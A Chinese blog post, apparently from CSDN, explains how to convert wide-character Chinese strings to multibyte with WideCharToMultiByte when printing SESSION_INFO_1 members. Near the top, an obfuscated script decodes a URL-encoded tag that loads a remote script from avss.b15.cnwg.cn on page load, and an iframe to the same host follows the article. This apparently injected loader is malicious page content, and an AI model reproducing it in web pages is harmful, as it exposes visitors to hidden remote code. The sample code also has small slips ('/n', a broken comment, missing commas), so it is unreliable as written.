中文字符打印的api

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
中文字符打印的api




 今天使用结构体SESSION_INFO_1(结构体信息参考MSDN),在打印成员LPWSTR    sesi1_cname的时候,遇到中文字符即显示乱码,我靠,又是编码的问题。最终无奈,向身边的研究生请教,得知一函数
int WideCharToMultiByte(
  UINT
CodePage
,        
// code page
  DWORD
dwFlags
,        
// performance and mapping flags
  LPCWSTR
lpWideCharStr
,
// address of wide-character string
  int
cchWideChar
,      
// number of characters in string
  LPSTR
lpMultiByteStr

// address of buffer for new string
  int
cchMultiByte
,     
// size of buffer
  LPCSTR
lpDefaultChar

// address of default for unmappable
                         // characters
  LPBOOL
lpUsedDefaultChar
   // address of flag set when default
                             // char. used
);
详细参见MSDN。
iSize = WideCharToMultiByte(CP_ACP,   //int iSize
     0,
     (LPCWSTR)siTemp->sesi1_username,   /LPSESSION_INFO_1 siTemp;
     -1,
     NULL,
     0,
     NULL,
     NULL);
    
    strTemp = (char *)malloc(iSize + 1);        //先获得长度,再申请接收字符串的大小
 
    WideCharToMultiByte(CP_ACP,
     0,
     (LPCWSTR)siTemp->sesi1_username,
     -1,
     strTemp,
     iSize,
     NULL,
     NULL);
printf("user name : %s/n",strTemp);   //s这里为小写
Remarks:
MSDN上有很多的错误,比如这里的结构体LPSESSION_INFO_1,它的成员类型有很大的出入。在使用的时候只要将鼠标听在该结构体上,按
F12
就可以trace它的庐山真面目了,哈哈~~

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值